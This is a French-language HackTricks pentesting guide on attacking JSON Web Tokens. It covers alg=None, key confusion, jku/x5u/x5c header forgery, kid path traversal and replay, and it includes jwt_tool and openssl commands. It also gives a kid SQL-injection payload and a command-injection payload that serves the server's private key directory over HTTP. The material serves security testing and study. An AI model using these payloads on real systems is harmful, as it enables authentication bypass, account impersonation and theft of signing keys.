hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

272 lines
19 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnérabilités JWT (Json Web Tokens)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}
**Une partie de ce post est basée sur l'excellent post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Auteur de l'outil génial pour le pentest des JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Gains Rapides**
Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) en mode `Tous les tests !` et attendez les lignes vertes
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Si vous avez de la chance, l'outil trouvera un cas où l'application web ne vérifie pas correctement le JWT :
![](<../.gitbook/assets/image (435).png>)
Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant l'outil jwt\_ :
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Manipuler les données sans rien modifier
Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez par exemple de changer votre nom d'utilisateur en "admin".
#### **Le jeton est-il vérifié?**
Pour vérifier si la signature d'un JWT est vérifiée :
* Un message d'erreur suggère une vérification en cours ; les détails sensibles dans les erreurs verbeuses doivent être examinés.
* Un changement dans la page renvoyée indique également une vérification.
* Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en altérant les revendications de la charge utile.
### Origine
Il est important de déterminer si le jeton a été généré côté serveur ou côté client en examinant l'historique des requêtes du proxy.
* Les jetons d'abord vus côté client suggèrent que la clé pourrait être exposée au code côté client, nécessitant une enquête plus approfondie.
* Les jetons d'origine côté serveur indiquent un processus sécurisé.
### Durée
Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
### Force brute du secret HMAC
[**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Modifier l'algorithme en None (CVE-2015-9235)
Définissez l'algorithme utilisé comme "None" et supprimez la partie signature.
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token" vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
### Changer l'algorithme de RS256(asymétrique) à HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)
L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.\
L'algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l'authentification.
Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature.
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web exécutant ceci :
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nouvelle clé publique dans l'en-tête
Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).
Cela peut être fait avec l'extension Burp "JSON Web Tokens".\
(Envoyez la requête au Repeater, dans l'onglet JSON Web Token sélectionnez "CVE-2018-0114" et envoyez la requête).
### Contrefaçon de JWKS
Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du jeton.
* **Évaluation des jetons avec l'en-tête "jku"**:
* Vérifiez l'URL de la revendication "jku" pour vous assurer qu'elle mène au fichier JWKS approprié.
* Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic.
* **Surveillance de l'interaction HTTP**:
* Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir de votre lien fourni.
* Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec l'emplacement de votre JWKS personnel pour faciliter les tests.
* **Commande pour `jwt_tool`**:
* Exécutez la commande suivante pour simuler le scénario avec `jwt_tool`:
```bash
python3 jwt_tool.py JWT_HERE -X s
```
### Aperçu des problèmes de Kid
Une revendication d'en-tête facultative appelée `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement vital dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton.
#### Révélation de la clé via "kid"
Lorsque la revendication `kid` est présente dans l'en-tête, il est conseillé de rechercher le répertoire web pour le fichier correspondant ou ses variations. Par exemple, si `"kid":"key/12345"` est spécifié, les fichiers _/key/12345_ et _/key/12345.pem_ devraient être recherchés dans la racine du site web.
#### Traversée de chemin avec "kid"
La revendication `kid` peut également être exploitée pour naviguer à travers le système de fichiers, permettant potentiellement la sélection d'un fichier arbitraire. Il est possible de tester la connectivité ou d'exécuter des attaques de falsification de requête côté serveur (SSRF) en modifiant la valeur `kid` pour cibler des fichiers ou des services spécifiques. La manipulation du JWT pour changer la valeur `kid` tout en conservant la signature d'origine peut être réalisée en utilisant le drapeau `-T` dans jwt\_tool, comme démontré ci-dessous:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
En ciblant des fichiers avec un contenu prévisible, il est possible de falsifier un JWT valide. Par exemple, le fichier `/proc/sys/kernel/randomize_va_space` dans les systèmes Linux, connu pour contenir la valeur **2**, peut être utilisé dans le paramètre `kid` avec **2** comme mot de passe symétrique pour la génération de JWT.
#### Injection SQL via "kid"
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe depuis une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile de `kid`. Un exemple de charge utile qui utilise une injection SQL pour modifier le processus de signature JWT est :
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Cette modification force l'utilisation d'une clé secrète connue, `ATTACKER`, pour la signature JWT.
#### Injection OS via "kid"
Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait entraîner des vulnérabilités d'exécution de code à distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour atteindre une RCE et l'exposition de clés est :
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u et jku
#### jku
jku signifie **URL de jeu de clés JWK**.\
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Manipulez le jeton pour pointer la valeur jku vers un service Web dont vous pouvez surveiller le trafic.
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre jku vers le certificat créé.** Pour créer un certificat jku valide, vous pouvez télécharger l'original et modifier les paramètres nécessaires.
Vous pouvez obtenir les paramètres "e" et "n" à partir d'un certificat public en utilisant :
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. Une sécurité de transport est requise pour transférer les certificats.
Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publique et privée :
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**.
![](<../.gitbook/assets/image (439).png>)
Vous pouvez également abuser de ces deux vulnérabilités **pour les SSRF**.
#### x5c
Ce paramètre peut contenir le **certificat en base64** :
![](<../.gitbook/assets/image (440).png>)
Si l'attaquant **génère un certificat auto-signé** et crée un jeton falsifié en utilisant la clé privée correspondante et remplace la valeur du paramètre "x5c" par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le jeton falsifié serait accepté par le serveur.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Clé publique intégrée (CVE-2018-0114)
Si le JWT contient une clé publique intégrée comme dans le scénario suivant:
![](<../.gitbook/assets/image (438).png>)
En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature :
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Vous pouvez obtenir les "n" et "e" en utilisant ce script nodejs :
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Enfin, en utilisant la clé publique et privée et les nouvelles valeurs "n" et "e", vous pouvez utiliser [jwt.io](https://jwt.io) pour forger un nouveau JWT valide avec n'importe quelle information.
### JTI (JWT ID)
La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher le jeton d'être rejoué.\
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejou réussi).
### Revendications enregistrées JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Autres attaques
**Attaques de relais inter-services**
Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.
* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce est nécessaire, car cela pourrait entrer dans une zone grise légale.
**Vérification de l'expiration des jetons**
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. La RFC JWT recommande de mitiger les attaques de rejouement JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool.
* Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.
### Outils
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [@carlospolopm](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>